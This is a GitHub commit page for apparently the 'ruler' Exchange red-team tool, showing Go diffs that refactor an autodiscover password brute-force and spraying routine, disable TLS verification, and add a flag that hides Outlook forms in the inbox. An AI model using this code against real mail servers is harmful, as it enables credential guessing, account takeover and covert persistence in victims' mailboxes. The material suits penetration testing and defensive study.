Skip to content

Commit 8f146e4

Browse files
authored
Merge pull request #56 from sensepost/debug
Merge new Homepage method
2 parents 43f47e9 + 658fb1b commit 8f146e4

15 files changed

+2615
-1204
lines changed

autodiscover/autodiscover.go

+11-8
Original file line numberDiff line numberDiff line change
@@ -248,6 +248,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
248248
if SessionConfig.Basic == false {
249249
//check if this is a first request or a redirect
250250
//create an ntml http client
251+
251252
client = http.Client{
252253
Transport: &httpntlm.NtlmTransport{
253254
Domain: SessionConfig.Domain,
@@ -256,9 +257,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
256257
NTHash: SessionConfig.NTHash,
257258
Insecure: SessionConfig.Insecure,
258259
CookieJar: SessionConfig.CookieJar,
260+
Proxy: SessionConfig.Proxy,
259261
},
260262
Jar: SessionConfig.CookieJar,
261263
}
264+
262265
}
263266

264267
var autodiscoverURL string
@@ -269,27 +272,25 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
269272
} else {
270273
//create the autodiscover url
271274
if autodiscoverStep == 0 {
272-
autodiscoverURL = createAutodiscover(domain, true)
275+
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
273276
if autodiscoverURL == "" {
274277
autodiscoverStep++
275278
}
276279
}
277280
if autodiscoverStep == 1 {
278-
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
281+
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
279282
if autodiscoverURL == "" {
280283
autodiscoverStep++
281284
}
282285
}
283286
if autodiscoverStep == 2 {
284-
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
287+
autodiscoverURL = createAutodiscover(domain, true)
285288
if autodiscoverURL == "" {
286289
return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found")
287290
}
288291
}
289292
}
290293

291-
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
292-
293294
req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r))
294295
req.Header.Add("Content-Type", "text/xml")
295296
req.Header.Add("User-Agent", "ruler")
@@ -330,9 +331,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
330331

331332
defer resp.Body.Close()
332333

333-
if resp.StatusCode == 401 || resp.StatusCode == 403 {
334-
return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials")
335-
}
334+
335+
if resp.StatusCode == 401 || resp.StatusCode == 403 {
336+
return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials")
337+
}
338+
336339

337340
body, err := ioutil.ReadAll(resp.Body)
338341
if err != nil {

autodiscover/brute.go

+85-43
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package autodiscover
22

33
import (
4+
"crypto/tls"
45
"fmt"
56
"io/ioutil"
67
"net/http"
@@ -25,43 +26,58 @@ type Result struct {
2526

2627
var concurrency = 3 //limit the number of consecutive attempts
2728

29+
var delay = 5
30+
var consc = 3
31+
var usernames []string
32+
var passwords []string
33+
var userpass []string
34+
var autodiscoverURL string
35+
var basic = false
36+
var verbose = false
37+
var insecure = false
38+
var stopSuccess = false
39+
40+
2841
func autodiscoverDomain(domain string) string {
2942
var autodiscoverURL string
3043

3144
//check if this is just a domain or a redirect (starts with http[s]://)
3245
if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true {
3346
autodiscoverURL = domain
47+
utils.Info.Printf("Using end-point: %s\n", domain)
3448
} else {
3549
//create the autodiscover url
3650
if autodiscoverStep == 0 {
37-
autodiscoverURL = createAutodiscover(domain, true)
51+
utils.Info.Println("Trying to Autodiscover domain")
52+
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
53+
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
3854
if autodiscoverURL == "" {
3955
autodiscoverStep++
4056
}
4157
}
4258
if autodiscoverStep == 1 {
43-
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
59+
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
60+
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
4461
if autodiscoverURL == "" {
4562
autodiscoverStep++
4663
}
4764
}
4865
if autodiscoverStep == 2 {
49-
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
66+
autodiscoverURL = createAutodiscover(domain, true)
67+
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
5068
if autodiscoverURL == "" {
5169
return ""
5270
}
5371
}
5472
}
5573

56-
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
57-
5874
req, err := http.NewRequest("GET", autodiscoverURL, nil)
5975
req.Header.Add("Content-Type", "text/xml")
6076

61-
tr := &http.Transport{
62-
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
63-
}
64-
client := http.Client{Transport:tr}
77+
tr := &http.Transport{
78+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
79+
}
80+
client := http.Client{Transport: tr}
6581

6682
resp, err := client.Do(req)
6783

@@ -72,6 +88,8 @@ func autodiscoverDomain(domain string) string {
7288
}
7389
return ""
7490
}
91+
92+
//check if we got prompted for authentication, this is normally an indicator of a valid endpoint
7593
if resp.StatusCode == 401 || resp.StatusCode == 403 {
7694
return autodiscoverURL
7795
}
@@ -82,24 +100,49 @@ func autodiscoverDomain(domain string) string {
82100
return ""
83101
}
84102

85-
//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
86-
//And whether to stop on success
87-
func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) {
88-
utils.Info.Println("Trying to Autodiscover domain")
89-
autodiscoverURL := autodiscoverDomain(domain)
103+
//Init function to setup the brute-force session
104+
func Init(domain, usersFile, passwordsFile, userpassFile string, b, i, s, v bool, c, d, t int) error {
105+
autodiscoverURL = autodiscoverDomain(domain)
90106

91107
if autodiscoverURL == "" {
92-
return
108+
return fmt.Errorf("No autodiscover end-point found")
109+
}
110+
111+
stopSuccess = s
112+
insecure = i
113+
basic = b
114+
verbose = v
115+
delay = d
116+
consc = c
117+
concurrency = t
118+
119+
if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" {
120+
basic = true
121+
}
122+
123+
if userpassFile != "" {
124+
userpass = readFile(userpassFile)
125+
if userpass == nil {
126+
return fmt.Errorf("Unable to read userpass file")
127+
}
128+
return nil
93129
}
94-
usernames := readFile(usersFile)
130+
usernames = readFile(usersFile)
95131
if usernames == nil {
96-
return
132+
return fmt.Errorf("Unable to read usernames file")
97133
}
98-
passwords := readFile(passwordsFile)
134+
passwords = readFile(passwordsFile)
99135
if passwords == nil {
100-
return
136+
return fmt.Errorf("Unable to read passwords file")
101137
}
102138

139+
return nil
140+
}
141+
142+
//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
143+
//And whether to stop on success
144+
func BruteForce() {
145+
103146
attempts := 0
104147
stp := false
105148

@@ -113,7 +156,9 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
113156
if u == "" || p == "" {
114157
continue
115158
}
116-
time.Sleep(time.Millisecond * 500) //lets not flood it
159+
160+
time.Sleep(time.Millisecond * 500) //lets not flood it
161+
117162
sem <- true
118163

119164
go func(u string, p string, i int) {
@@ -133,7 +178,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
133178
usernames = append(usernames[:out.Index], usernames[out.Index+1:]...)
134179
if stopSuccess == true {
135180
stp = true
136-
137181
}
138182
}
139183
}(u, p, ui)
@@ -155,17 +199,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
155199
}
156200

157201
//UserPassBruteForce function does a bruteforce using a supplied user:pass file
158-
func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) {
159-
utils.Info.Println("Trying to Autodiscover domain")
160-
autodiscoverURL := autodiscoverDomain(domain)
161-
162-
if autodiscoverURL == "" {
163-
return
164-
}
165-
userpass := readFile(userpassFile)
166-
if userpass == nil {
167-
return
168-
}
202+
func UserPassBruteForce() {
169203

170204
count := 0
171205
sem := make(chan bool, concurrency)
@@ -178,7 +212,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
178212
// verify colon-delimited username:password format
179213
s := strings.SplitN(up, ":", 2)
180214
if len(s) < 2 {
181-
utils.Fail.Printf("Skipping improperly formatted entry in %s:%d\n", userpassFile, count)
215+
utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count)
182216
continue
183217
}
184218
u, p := s[0], s[1]
@@ -188,7 +222,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
188222
if u == "" {
189223
continue
190224
}
191-
time.Sleep(time.Millisecond * 500) //lets not flood it
225+
226+
time.Sleep(time.Millisecond * 500) //lets not flood it
227+
192228
sem <- true
193229

194230
go func(u string, p string) {
@@ -236,10 +272,11 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
236272
result := Result{user, password, -1, -1, nil}
237273

238274
cookie, _ := cookiejar.New(nil)
239-
tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
240-
DisableKeepAlives:true, //should fix mutex issues
241-
}
242-
client := http.Client{Transport:tr}
275+
276+
tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
277+
DisableKeepAlives: true, //should fix mutex issues
278+
}
279+
client := http.Client{Transport: tr}
243280

244281
if basic == false {
245282
//check if this is a first request or a redirect
@@ -258,8 +295,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
258295
req, err := http.NewRequest("GET", autodiscoverURL, nil)
259296
req.Header.Add("Content-Type", "text/xml")
260297

261-
//if we have been redirected to outlook, change the auth header to basic auth
262-
if basic == false {
298+
//if basic authi is required, set auth header
299+
if basic == true {
263300
req.SetBasicAuth(user, password)
264301
}
265302

@@ -270,15 +307,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
270307
if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true {
271308
client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}}
272309
resp, err = client.Do(req)
310+
if err != nil {
311+
result.Error = err
312+
return result
313+
}
273314
} else {
315+
274316
result.Error = err
275317
return result
276318
}
277319

278320
}
279-
280-
defer resp.Body.Close()
281-
321+
if resp != nil {
322+
defer resp.Body.Close()
323+
}
282324
result.Status = resp.StatusCode
283325
return result
284326
}

forms/rulerforms.go

+2-1
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, template
9292
//CreateFormMessage creates the associate message that holds the form data
9393
func CreateFormMessage(suffix, assocRule string) ([]byte, error) {
9494
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
95-
propertyTagx := make([]mapi.TaggedPropertyValue, 9)
95+
propertyTagx := make([]mapi.TaggedPropertyValue, 10)
9696
var err error
9797

9898
propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")}
@@ -104,6 +104,7 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) {
104104
propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :)
105105
propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)}
106106
propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form
107+
propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}}
107108

108109
//create the message in the "associated" contents table for the inbox
109110
msg, err := mapi.CreateAssocMessage(folderid, propertyTagx)

mapi/constants.go

+12
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,10 @@ var (
3434
ErrUnknown = errors.New("mapi: an unhandled exception occurred")
3535
//ErrNotAdmin when attempting to get admin access to a mailbox
3636
ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin")
37+
//ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens..
38+
ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP")
39+
//ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out
40+
ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.")
3741
)
3842

3943
const (
@@ -496,6 +500,9 @@ var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28}
496500
//PidTagObjectType used in recepient
497501
var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE}
498502

503+
//PidTagImportance used in recepient
504+
var PidTagImportance = PropertyTag{PtypInteger32, 0x0017}
505+
499506
//PidTagDisplayType used in recepient
500507
var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900}
501508

@@ -609,3 +616,8 @@ var PidTag6900 = PropertyTag{0x0003, 0x6900}
609616
var PidTagComment = PropertyTag{PtypString, 0x3004}
610617

611618
var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19}
619+
var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF}
620+
var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083}
621+
var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014}
622+
623+
var PidTagClientInfo = PropertyTag{PtypString, 0x80C7}

mapi/datastructs-abk.go

+1
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ type BindRequest struct {
1515
AuxiliaryBuffer []byte
1616
}
1717

18+
//BindRequestRPC the bind request used for abk
1819
type BindRequestRPC struct {
1920
Flags uint32
2021
State []byte //optional 36 bytes

0 commit comments

Comments
 (0)